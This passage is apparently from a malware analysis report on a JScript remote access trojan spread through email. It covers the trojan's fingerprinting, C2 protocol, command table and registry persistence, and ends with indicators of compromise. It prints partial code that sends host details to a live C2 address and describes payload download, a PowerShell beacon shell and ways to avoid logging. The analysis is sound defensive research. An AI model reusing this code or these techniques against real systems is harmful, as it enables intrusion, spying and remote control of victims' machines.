  • GetArguments wraps WSH.Arguments to return the CLI arguments of the script.
  • GetCurrentDirectory wraps the CurrentDirectory property of Wscript.Schell to return the current working directory.
  • GetCurrentScriptFile wraps WSH.ScriptFullName to return the path of the executing script.
  • GetEnviromentVariable wraps the ExpandEnvironmentStrings method of Wscript.Shell to return the value of an environment variable.
  • GetScriptHostFile wraps WSH.FullName to return the path of the script host executable.
  • OpenFile lazy-loads an instance of the Shell.Application COM object and calls its ShellExecute method to open a file.
  • QueryWMIService lazy-loads a WMI object using the GetObject function1. Then, it executes a WMI query and returns the results as an array.
  • Run wraps the Run method of Wscript.Shell to execute a command. Unlike Exec, this method does not return the output.
  • RunScript executes another script via the script host, sleeps briefly, and returns a boolean indicating whether the execution was successful. The p22 parameter is the path of the script and any extra parameters passed to the function are provided as CLI arguments to the script.
  • Sleep wraps WSH.Sleep to sleep for a given number of milliseconds.
var vF3 = function () {
  function f3() {}
  f3.CreateObject = function (p12) { /* omitted */ };
  f3.Exec = function (p13) { /* omitted */ };
  f3.Exit = function (p14) { /* omitted */ };
  f3.GetArguments = function () { /* omitted */ };
  f3.GetCurrentDirectory = function () { /* omitted */ };
  f3.GetCurrentScriptFile = function () { /* omitted */ };
  f3.GetEnviromentVariable = function (p15) { /* omitted */ };
  f3.GetScriptHostFile = function () { /* omitted */ };
  f3.OpenFile = function (p16) {
    if (f3.application == null) {
      f3.application = f3.CreateObject("Shell.Application");
    }
    f3.application.ShellExecute(p16.GetAbsolutePath(), "", "", "open", 1);
  };
  f3.QueryWMIService = function (p17, p18) {
    if (f3.wmiObject == null) {
      f3.wmiObject = GetObject("winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\cimv2");
    }
    for (var v20 = f3.wmiObject.ExecQuery("SELECT " + p18 + " FROM " + p17), vArray = Array(v20.Count), v21 = 0; v21 < v20.Count; v21++) {
      vArray[v21] = v20.ItemIndex(v21)[p18];
    }
    v20 = null;
    return vArray;
  };
  f3.Run = function (p19, p20, p21) { /* omitted */ };
  f3.RunScript = function (p22) {
    /* omitted */
    var v28 = f3.Exec(v25);
    f3.Sleep(400);
    return v28.Status <= v.Finished;
  };
  f3.Sleep = function (p23) { /* omitted */ };
  f3.Object = f3.CreateObject("Wscript.Shell");
  f3.wscriptShell = WSH;
  return f3;
}();
var vVF3 = vF3;

File System

The vF5 class implements abstractions for file system operations. The path separator is set to the Windows path separator. The constructor combines a parent path, which defaults to the current working directory, and an optional child path and normalises the combined path.

  • GetFileSystemObject lazy-loads an instance of the Scripting.FileSystemObject COM object.
  • Copy copies a file or folder from one path to another.
  • CopyTo copies the current file or folder to the target path.
  • CreateParentPath creates the parent folder of the current path if necessary.
  • CreateTemporaryFile creates a file with a pseudorandom name in the %TMP% folder.
  • Delete deletes the current path, forcing folder deletion if the parameter is true.
  • Exists checks whether the current path exists.
  • EqualTo checks whether the current path is equal to another, ignoring case.
  • GetAbsolutePath resolves the absolute path of the current file or folder.
  • GetExtension returns the extension of the current path, if any.
  • GetName returns the file (or folder) name of the current path.
  • GetParent returns the parent folder path as a string.
  • GetParentFile returns the parent folder path as an object.
  • GetPath returns the current path as a string.
  • GetSize returns the size in bytes of the current file or folder.
  • MakeDirectries [sic] recursively creates the folder if it doesn’t exist.
  var vF5 = function () {
    function f5(p42, p43) { /* omitted */ }
    f5.GetFileSystemObject = function () {
      if (f5.fso == null) {
        f5.fso = vVF3.CreateObject("Scripting.FileSystemObject");
      }
      return f5.fso;
    };
    f5.Copy = function (p44, p45, p46 = true) { /* omitted */;
    f5.prototype.CopyTo = function (p47, p48 = true) { /* omitted */ };
    f5.prototype.CreateParentPath = function () { /* omitted */ };
    f5.CreateTemporaryFile = function (p49) { /* omitted */ };
    f5.prototype.Delete = function (p50 = false) { /* omitted */ };
    f5.prototype.Exists = function () { /* omitted */ };
    f5.prototype.EqualTo = function (p51) { /* omitted */ };
    f5.prototype.GetAbsolutePath = function () { /* omitted */ };
    f5.prototype.GetExtension = function () { /* omitted */ };
    f5.prototype.GetName = function () { /* omitted */ };
    f5.prototype.GetParent = function () { /* omitted */ };
    f5.prototype.GetParentFile = function () { /* omitted */ };
    f5.prototype.GetPath = function () { /* omitted */ };
    f5.prototype.GetSize = function () { /* omitted */ };
    f5.prototype.MakeDirectries = function () { /* omitted */ };
    f5.separator = "\\";
    return f5;
  }();

Core Utilities

The vF4 class provides various utilities for encoding, WMI queries, and PowerShell commands.

  • GetProcessList retrieve a list of unique process names through WMI.
  • GetComputerInfo retrieves computer information through the environment and WMI:
    • User domain
    • Username
    • System serial number
    • OS caption
    If the parameter p24 is true, it also retrieve the following extra information:
    • Total memory
    • Computer model
    • CPU name
    • GPU name
    • OS architecture
  • DownloadFile downloads a file from a URL to a local path using PowerShell.
  • RunPowershell executes a PowerShell command after encoding it to base64.
  • GetRandonNumber [sic] generates a random number, optionally between two values.
  • GetRandomString generates a random alphanumeric string of the specified length.
  • HexToAscii converts a hexadecimal string to its ASCII representation.
  • AsciiToHex converts an ASCII string to its hexadecimal representation.
  • BytesToHex converts a byte array to a hexadecimal string.
  • HexToBytes converts a hexadecimal string to a byte array.
  • StringToUTF16Bytes converts a string to a UTF-16 byte array, handling escape sequences.
  • BytesToBase64 encodes a byte array into a base64 string.
  • SerializeForm converts an object to a URL-encoded query string.
  • XorEncryptDecrypt performs XOR encryption/decryption between a string and a byte array.
var vF4 = function () {
  function f4() {}
  f4.GetProcessList = function () {
    for (var v29 = vVF3.QueryWMIService("Win32_Process", "Name"), v30 = [], v31 = 0; v31 < v29.length; v31++) {
      var v32 = true;
      var v33 = v29[v31];
      if (!String.IsNullOrWhiteSpace(v33)) {
        for (var v34 = 0; v34 < v30.length; v34++) {
          if (v33 === v30[v34]) {
            v32 = false;
            break;
          }
        }
        if (v32) {
          v30.push(v33);
        }
      }
    }
    return v30;
  };
  f4.GetComputerInfo = function (p24 = false) {
    var v35 = [];
    v35.push(vVF3.GetEnviromentVariable("USERDOMAIN"), vVF3.GetEnviromentVariable("USERNAME"), vVF3.QueryWMIService("Win32_SystemEnclosure", "SerialNumber")[0], vVF3.QueryWMIService("Win32_OperatingSystem", "Caption")[0].replace("Microsoft ", ""));
    if (p24) {
      v35.push(vVF3.QueryWMIService("Win32_ComputerSystem", "TotalPhysicalMemory")[0], vVF3.QueryWMIService("Win32_ComputerSystem", "Model")[0], vVF3.QueryWMIService("Win32_Processor", "Name")[0], vVF3.QueryWMIService("Win32_VideoController", "Name")[0], vVF3.QueryWMIService("Win32_OperatingSystem", "OSArchitecture")[0]);
    }
    return v35;
  };
  f4.DownloadFile = function (p25, p26) { /* omitted */ };
  f4.RunPowerShell = function (p27, p28 = true) { /* omitted */ };
  f4.GetRandonNumber = function (p29, p30) { /* omitted */ };
  f4.GetRandomString = function (p31) { /* omitted */ };
  f4.HexToAscii = function (p32) { /* omitted */ };
  f4.AsciiToHex = function (p33) { /* omitted */ };
  f4.BytesToHex = function (p34) { /* omitted */ };
  f4.HexToBytes = function (p35) { /* omitted */ };
  f4.StringToUTF16Bytes = function (p36, p37 = true) { /* omitted */ };
  f4.BytesToBase64 = function (p38) { /* omitted */ };
  f4.SerializeForm = function (p39) { /* omitted */ };
  f4.XorEncryptDecrypt = function (p40, p41) { /* omitted */ };
  f4.BASE64_CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
  return f4;
}();

Execution Engine

Anti-analysis Logic

The vF9 class is a classic anti-sandbox evasion component. It performs junk operations with repeated calculations and delays during startup to slow down or confuse automated analysis tools, then cleans up after itself.

var vF9 = function () {
  function f10() { /* omitted */ }
  f10.prototype.Open = function (p75) { /* omitted */ };
  f10.prototype.Close = function () { /* omitted */ };
  f10.prototype.Dispose = function () { /* omitted */ };
  return f10;
}();

Fake Multi-threading

The vF10 class provides a fake thread wrapper. It mimics multi-threading behaviour by wrapping a target object and running its main logic synchronously while tracking a simple thread state and ID.

var vF10 = function () {
  function f12(p79) { /* omitted */ }
  f12.nextThreadID = function () { /* omitted */ };
  f12.prototype.Run = function () { /* omitted */ };
  f12.prototype.Start = function () { /* omitted */ };
  f12.prototype.IsAlive = function () { /* omitted */ };
  f12.prototype.GetId = function () { /* omitted */ };
  f12.threadSeqNumber = 0;
  return f12;
}();

Command Handling

The vF7 class is responsible for handling commands received from the C2 server. The Handle function reads the X-A response header and dispatches to the appropriate handler.

ValueAction
-7Update client
-6Uninstall client
-5Close client
-4Restart client
-3Disconnect
-2Reconnect
-1Sleep
0Wake
1Download & execute file
2Start beacon shell
3Run PowerShell command
4Send system properties

All payloads executed in PowerShell are encrypted using AES-CBC with a 32 byte key that is sent by the server, often alongside a token which is passed to the respective parameter of the command, and a hardcoded IV 76E6F6C63756479726E6565647879637 which is reversed.

  • ExecuteShell launches an encrypted HTTP beacon shell in PowerShell. It continuously polls the C2 server using the tw parameter (GetShell) with a server-sent 12 byte token, decrypts received commands, executes them, and sends the results back through the headers tw for the encrypted output and x for the status. It stops when multiple consecutive attempts fail or the server returns status 404.
  • ExecuteFile downloads an encrypted payload from the C2 server using the ex parameter (GetFile) with a server-sent 12 byte token, decrypts it, writes it to a temporary path, and executes it.
  • LoadProcess retrieves an encrypted PowerShell payload from the C2 server using the sb parameter (GetLoader) with a server-sent 12 byte token, and an fp parameter set to “1”. It decrypts the payload and pipes it into a hidden PowerShell process via standard input, bypassing command-line logging.
  • GetProperties retrieves detailed computer info and the running processes, serialises the results to JSON and encrypts them with XOR. Then, it sends the encrypted results to the C2 server using the df parameter (GetProperties) with a randomly generated 8 byte token, a b parameter for the computer info, and a c parameter for the process list. If the requests was successful, it calls the client object’s TryInstallStartup method to achieve persistence.
  • UpdateClient requests the latest version of the malware from the C2 server using the kp parameter (GetUpdate) with a server-sent 16 byte token, downloads it, and replaces the old script with it.
var vF7 = function () {
  function f8() {}
  f8.Handle = function (p57, p58) {
    switch (p58.getResponseHeader("X-A")) {
      /* omitted */
    }
  };
  f8.ExecuteShell = function (p59, p60) { /* omitted */ };
  f8.ExecuteFile = function (p61, p62) { /* omitted */ };
  f8.LoadProcess = function (p63, p64) { /* omitted */ };
  f8.GetProperties = function (p65, p66) { /* omitted */ };
  f8.UpdateClient = function (p67, p68) { /* omitted */ };
  return f8;
}();

C2 Communication

The vF8 class handles the communication with the C2 server. Its constructor stores a list of servers and a client instance, and initialises multiple connection state variables.

  • Run is the main loop which runs until the connection is closed, calling Connect to connect or reconnect to the server, or Ping if already connected.
  • Connect sends a POST request to the server with the parameter a hardcoded to the value “iz” and the parameter b containing a pipe-separated list of computer info. It sets the session identifier from the X-S response header. It handles the received command if the request was successful, otherwise it rotates the configured C2 server in order to try again.
  • Ping sends a POST request to the server with the parameter ia set to the session identifier in order to determine whether the connection is still active and receive a new command.
  • Disconnect marks the C2 server as disconnected and rotates to another.
  • AvailableHost filters the C2 server list excluding disconnected hosts.
  • RotateHost cycles through the C2 server list.
  • Wait sleeps for the specified number of seconds.
  • MakeUrl constructs a C2 URL with a specific action based on its parameters.
  • Close, Idle, Sleep, Wake, and IncreaseWait modify the connection state.
var vF8 = function () {
  function f9(p69, p70) { /* omitted */ }
  f9.prototype.Run = function () { /* omitted */ };
  f9.prototype.Connect = function () {
    if (this.REQUEST_DATA == null) {
      this.REQUEST_DATA = vF4.SerializeForm({
        a: "iz",
        b: vF4.GetComputerInfo().join("|")
      });
    }
    try {
      var v129 = vVF3.CreateObject("MSXML2.XMLHTTP");
      v129.open("POST", this.HOST, false);
      v129.SetRequestHeader("content-type", "application/x-www-form-urlencoded");
      v129.send(this.REQUEST_DATA);
      this.IDENTIFIER = v129.getResponseHeader("X-S") ?? "";
      /* omitted */
    } catch (ffFffFfFffFFffff) {
      /* omitted */
    }
  };
  f9.prototype.Ping = function () {
    try {
      var v130 = vVF3.CreateObject("MSXML2.XMLHTTP");
      v130.open("POST", this.HOST + "?ia=" + this.IDENTIFIER, false);
      v130.send();
      /* omitted */
    } catch (fFFFFFfFffFFffff) {
      /* omitted */
    }
  };
  f9.prototype.Close = function () { /* omitted */ };
  f9.prototype.Disconnect = function () { /* omitted */ };
  f9.prototype.Reconnect = function () { /* omitted */ };
  f9.prototype.Idle = function () { /* omitted */ };
  f9.prototype.Sleep = function () { /* omitted */ };
  f9.prototype.Wake = function () { /* omitted */ };
  f9.prototype.AvailableHost = function () { /* omitted */ };
  f9.prototype.RotateHost = function () { /* omitted */ };
  f9.prototype.IncreaseWait = function () { /* omitted */ };
  f9.prototype.Wait = function (p72) { /* omitted */ };
  f9.prototype.MakeUrl = function (p73, p74) {
    var v134 = "";
    v134 += this.HOST;
    v134 += "?ia=";
    v134 += this.IDENTIFIER;
    v134 += "&";
    v134 += p74;
    return (v134 += "=") + p73;
  };
  return f9;
}();

Entry Point

The vF11 class is the main entry point of the malware.

Methods:

  • Main handles the CLI arguments of the script.
    • InstantConnect: calls InstantConnection
    • DelayedConnect: calls DelayedConnection
    • UpdateClient: sleeps if the Identifier is specified and calls TryUpdateClient
    • Otherwise, calls TryInstallClient
  • DelayedConnection performs the post-execution action and the anti-analysis operations before connecting to the C2 server.
  • InstantConnection simply connects to the C2 server.
  • StartConnections defines an array of C2 servers (with only one element in this case), uses the f11 class to store their properties, and starts the network loop.
  • GetInstallFile returns the persistent installation path of the malware. In this case, the path is %APPDATA%\RLnayPzlrL\vTzbMzqSByiilfQejkxuoQiJHAFhjt.js.
  • GetInstallKey returns the Run registry key used for persistence. In this case, the key is HKCU\Software\Microsoft\Windows\CurrentVersion\Run\RLnayPzlrL.
  • Restart relaunches the script with InstantConnect, through the installation path if available, and terminates the current instance.
  • Close terminates the script.
  • Update relaunches the script with UpdateClient and uninstalls the current version.
  • TryInstallStartup writes a Run registry key for persistence which launches the installed script with InstantConnect.
  • TryInstallClient copies the current script to the installation path, runs the post-installation action, optionally deletes the original file, and initiates a delayed connection.
  • TryUpdateClient replaces the installed script with the current one, optionally deletes the original file, and initiates an instant connection.
  • Uninstall deletes the Run registry key, the installed script, and the current file, and exits.

Functions:

  • OnExecution performs the post-execution action.
  • OnInstallation performs the post-installation action.
  • TryExecuteShell executes a shell command with vVF3.Exec.
  • TryOpenURL opens a URL with vVF3.Run.

Properties:

  • Installed: Tracks whether the malware has been installed persistently.
  • Identifier: Hardcoded client UUID used during registration.
  • UpdateClient: CLI argument which triggers a self-update.
  • DelayedConnect: CLI argument for connecting with a delay (used post-install).
  • InstantConnect: CLI argument for connecting with no delay.
  • PathName: The persistence base path environment variable.
  • FolderName: The subfolder name created under the base path.
  • FileName: The filename of the installed script.
  • DecryptionKey: Unused.
  • ConnectionMode: Unused.
  • ConnectionDelay: The number of seconds to wait before the first connection attempt.
  • InstallationDelay: The number of seconds to wait before performing the installation.
  • InstallClient: Boolean flag controlling whether to install the client to the persistence path.
  • MeltOriginalFile: Boolean flag controlling whether the original file will be deleted.
  • OnExecutionType: Flag which defines a post-execution action. 1 opens a URL, 2 runs a shell command, any other value does nothing.
  • OnExecutionValue: The value of the post-execution action. In this case, the URL of a blank PDF which is used as a decoy.
  • OnInstallationType: Flag which defines a post-installation action. 1 opens a URL, 2 runs a shell command, any other value does nothing.
  • OnInstallationValue: The value of the post-installation action. Empty in this case.
function f11(p76, p77) {
  this.disconnected = false;
  this.address = p76;
  this.index = p77;
}
var vF11 = function () {
  function f13() {}
  f13.prototype.Main = function (p80) { /* omitted */ };
  f13.prototype.DelayedConnection = function () { /* omitted */ };
  f13.prototype.InstantConnection = function () { /* omitted */ };
  f13.prototype.StartConnections = function () {
    var v137 = ["http://91.92.243.79:4454/gATIjh"].map(function (p81, p82) {
      return new f11(p81, p82);
    });
    new vF10(new vF8(v137, this)).Start();
  };
  f13.prototype.GetInstallFile = function () { /* omitted */ };
  f13.prototype.GetInstallKey = function () {
    return vF5.GetFileSystemObject().BuildPath("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", f13.FolderName);
  };
  f13.prototype.Restart = function () { /* omitted */ };
  f13.prototype.Close = function () { /* omitted */ };
  f13.prototype.Update = function (p83) { /* omitted */ };
  f13.prototype.TryInstallStartup = function () { /* omitted */ };
  f13.prototype.TryInstallClient = function () { /* omitted */ };
  f13.prototype.TryUpdateClient = function () { /* omitted */ };
  f13.prototype.Uninstall = function () { /* omitted */ };
  f13.OnExecution = function () { /* omitted */ };
  f13.OnInstallation = function () { /* omitted */ };
  f13.TryExecuteShell = function (p84) { /* omitted */ };
  f13.TryOpenURL = function (p85) { /* omitted */ };
  f13.Installed = false;
  f13.Identifier = "7dea2ef3-705e-4249-ad9e-00d2c52629d6";
  f13.UpdateClient = "--update";
  f13.DelayedConnect = "MYEVWDOB";
  f13.InstantConnect = "NmuLUxSdK";
  f13.PathName = "APPDATA";
  f13.FolderName = "RLnayPzlrL";
  f13.FileName = "vTzbMzqSByiilfQejkxuoQiJHAFhjt";
  f13.DecryptionKey = "";
  f13.ConnectionMode = "0";
  f13.ConnectionDelay = "0";
  f13.InstallationDelay = "0";
  f13.InstallClient = "1";
  f13.MeltOriginalFile = "0";
  f13.OnExecutionType = "1";
  f13.OnExecutionValue = "https://mag.wcoomd.org/uploads/2018/05/blank.pdf";
  f13.OnInstallationType = "-1";
  f13.OnInstallationValue = "";
  return f13;
}();

Finally, the script sets up the environment and runs the entry point.

vF2.Initialize();
vF2.Run(new vF11());

Summary

The C2 protocol used in this malware is structured and operates over plain HTTP. The session begins with a POST request with the parameters a set to “iz” and b containing the computer info, to which the server responds with an X-S header containing the assigned session ID. Subsequent keep-alive pings are POST requests with the ia parameter set to the session ID.

The server issues commands via the X-A header as signed integer codes, with non-positive values used for client and connection management and positive values used for command execution. When a command is issued, the response body contains a token (except for GetProperties), an AES key, and optional trailing data, which the client uses to construct a secondary request with a specific parameter for each command. All payloads are AES-CBC encrypted with the provided key and a hardcoded IV. The beacon shell output is also encrypted and passed in the tw request header.

It’s worth noting that the upper camel case names of the identifiers used in this script, along with the thread abstraction and the Dispose method, are strong indicators that the malware was ported from C#. Furthermore, the bidirectional numeric enums are a TypeScript trait which indicates that the malware was ported from C# to TypeScript and then compiled to JavaScript.

Indicators of Compromise

TypeValueLinksComment
Emaildao@ambserbie-alger.comN/ASender address
Domainambserbie-alger.comMXToolBox
VirusTotal
Sender domain
IP85.137.51.11AbuseIPDBSender IP
IP91.92.243.79AbuseIPDB
VirusTotal
C2 IP
Hash745158871066b7e3aa4ed48234c5f24b5389b2cb92945b86aa530488a7d47afcVirusTotal
ANY.RUN
GR5000171604.7z
Hash738f09e31a901c3506f4ae193476ff0773486865b2a3bb31b09ba67d9c9ba12aVirusTotal
Hybrid Analysis
GR5000171604.js
URLhttps://mag.wcoomd.org/uploads/2018/05/blank.pdfVirusTotalDecoy

MITRE ATT&CK® Techniques


  1. Connecting to WMI with VBScript